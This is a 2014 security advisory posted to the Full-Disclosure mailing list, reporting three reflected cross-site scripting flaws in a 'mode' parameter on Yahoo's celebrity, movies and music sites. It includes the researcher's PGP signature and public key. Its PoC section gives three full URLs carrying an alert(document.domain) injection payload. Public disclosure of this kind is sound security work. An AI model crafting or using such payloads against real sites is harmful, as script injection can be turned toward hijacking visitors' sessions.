Yahoo Bug Bounty Program Vulnerability #4 #5 #6 Cross-site Scripting vulnerabilities
Stefan Schurtz <[email protected]>
| Newsgroups | gmane.comp.security.full-disclosure |
|---|---|
| Message-ID | <[email protected]> |
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 In Jan ?14 I reported three Cross-site Scripting vulnerabilities to the Yahoo Bug Bounty Program. And I know, it is really really hard, but ... again ... no feedback or bounty :) Advisory: Yahoo Bug Bounty Program Vulnerability #4 #5 #6 Cross-site Scripting vulnerabilities Advisory ID: SSCHADV2014-YahooBB-004 / YahooBB-005 / YahooBB-006 Author: Stefan Schurtz Affected Software: Successfully tested on celebrity.yahoo.com, movies.yahoo.com, music.yahoo.com Vendor URL: http://yahoo.com/ Vendor Status: Not tested anymore Bounty: nothing ========================== Vulnerability Description ========================== The 'mode'-Paramter on "https://celebrity.yahoo.com/", "https://movies.yahoo.com/", "https://music.yahoo.com/" is prone to a Cross-site Scripting vulnerability ========================== PoC-Exploit ========================== http://celebrity.yahoo.com/video/george-clooney-responds-tina-fey-230813957.html?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index http://movies.yahoo.com/photos/star-wars-cast-rumors-1389647299-slideshow/?m_id=&m_mode=&instance_id=&mode=multipart"-alert(document.domain)-"&__phase=pre&type=index http://music.yahoo.com/videos/?m_id=&m_mode=&instance_id= mode=multipart"-alert(document.domain)-"&__phase=pre&type=index ========================== Disclosure Timeline ========================== 20-Jan-2014 - vendor informed by contact form (Yahoo Bug Bounty Program) ========================== Credits ========================== Vulnerabilities found and advisory written by Stefan Schurtz. ========================== References ========================== http://yahoo.com/ http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-004.txt http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-005.txt http://www.darksecurity.de/advisories/BugBounty/yahoo/SSCHADV2014-YahooBB-006.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iEYEARECAAYFAlMa8HkACgkQg3svV2LcbMBo9gCeIc8L/kBFOjdNV8J3pmY65UwV oFwAn3WBJHwesMpMzG4Z1qxTA10c9sZ0 =+fff -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
0x62DC6CC0.asc
(application/pgp-keys, 1.8 KB)
-----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.12 (GNU/Linux) mQGiBEi5oD4RBAD+03KasYzveqwRhr1VnOyyYwuZTa+JzyyrxHNoz+5sxVQ6fNYK XmEW4b8H/eJnSiOnSxkJqCQG00DOV0AODn57cBsTb4Ow+NVQ+ARa3TBdPNobbylt 8NU55PRXPVl160gd+LnOzQE2t3l3aNmOPVkIzN87ci1ke8vfzyf3W9bJrwCgmsug 2+Cl+7KgQ/5Nqm2Ej+Z+7GcD/0K2qtF9T61ZaR0g0uz6JQOOvBGFvUCkRMXNuqhU KEzxwR1tt1BtjEATi55KLuNsF8ZIe9FjySQtnX5bo+91lvH4wPWRI75tMLDrWm+o yLqSCAo3EMMM2RAG2XYEC/eD/Ri7LqUbdxN7PQssRJTh78pFJ1xJMms5vF/xlA9J FhlwA/94DXbeqFr0PkmHbpyRbN6VSTiA/ROb7jvn5NrVtq/LqV90bSZCr0HnbEnb LLecogq6b4Vz5URfIScF7YW4oPmnK/VjqzeZT4QgzH4pe9MnKbMETaS0saNs+fhe Gdom+jJUjXimSpKDoJYijWKsj1FPWCUTU+em7O4J/cyXn+4KSrQrc3NjaHVydHpA dC1vbmxpbmUuZGUgPHNzY2h1cnR6QHQtb25saW5lLmRlPohgBBMRAgAgAhsjBgsJ CAcDAgQVAggDBBYCAwECHgECF4AFAlI1b60ACgkQg3svV2LcbMCGRgCeNGNurYDP A/J22GMJ1IzDt7w4Od4An06QcRXfyH021UVfhmJGAukAEg1giEYEExECAAYFAkkZ AegACgkQboWE2jzBnWUd2ACgqcfpG9q6Qth7j+FNg7gK6YrzpkAAn1qTYyLV0qJU 2WQIG+FGv0KH8f91uQINBEi5oD4QCADLDYUx5h9U9mK+fhoPXaJ9kZOufvD/jmkY 7Gcnv+BY6o5+TQrPdwt9cRrDGb9N+3YL7WEsY0gNesiERZz9ZGQONoOYae427Z8f 37y/ueAEP7HGOCIqbhlvY7pt/ceomb4UkESK6x7FzkicnyECQS1SNdcEG88re35B rtFXOrAYHqXszJVAjaquKhhZyFI2aIZoGEsKBP7xI9dTwUzD5N89FpVF3CXYlmkJ VpgZGNa/FhWiuw+737sxoacElj5WcT5kWfnr8drXhuZgYhdq+fYvRTLADDZCyBAI MaQNRgaME+rjM8TC4+4O9HV4ruCatkPxQYmrtYew2pKZJfsrjrvfAAQNCACEGohg dZ7lSRC/Fe30ga77kyPGZVtcDdvLSuCvtQ2wmfmep0Q6ARHhvVBC6CC08HnkYaaK fmAWKAVMDBTwL6oLu/s1ighYW/gu53TFpXVp8BOFShwa8h20mbRdN2k9SJpAzIdt fqZI6L8ImztAV44sO+WKdsaJOisA6nc0vKBohON/pDiwF2xJCTvOh1ihMEDZPZE+ FHJ6zIuQ2kNsrrTh3Wr7QW3mD8qwMv68H6PuLaiJMPmvb62ydZqK2w1Djv8fwVUh wZ7r+Rz++IVG3qr8EYjub7MEMC8yCslNnmOWSS9B3ooCyuTYolYjoFosl9+oiFTk mSYgRRo1zb8gZd1ziE8EGBECAA8FAki5oD4CGwwFCQlmAYAACgkQg3svV2LcbMAA rACeNr7lQSP2hZKwYvIL31rnWnt4PzIAoIdS0xbqBd1ql5RLIjYaz6r+kE5Z =K6kp -----END PGP PUBLIC KEY BLOCK-----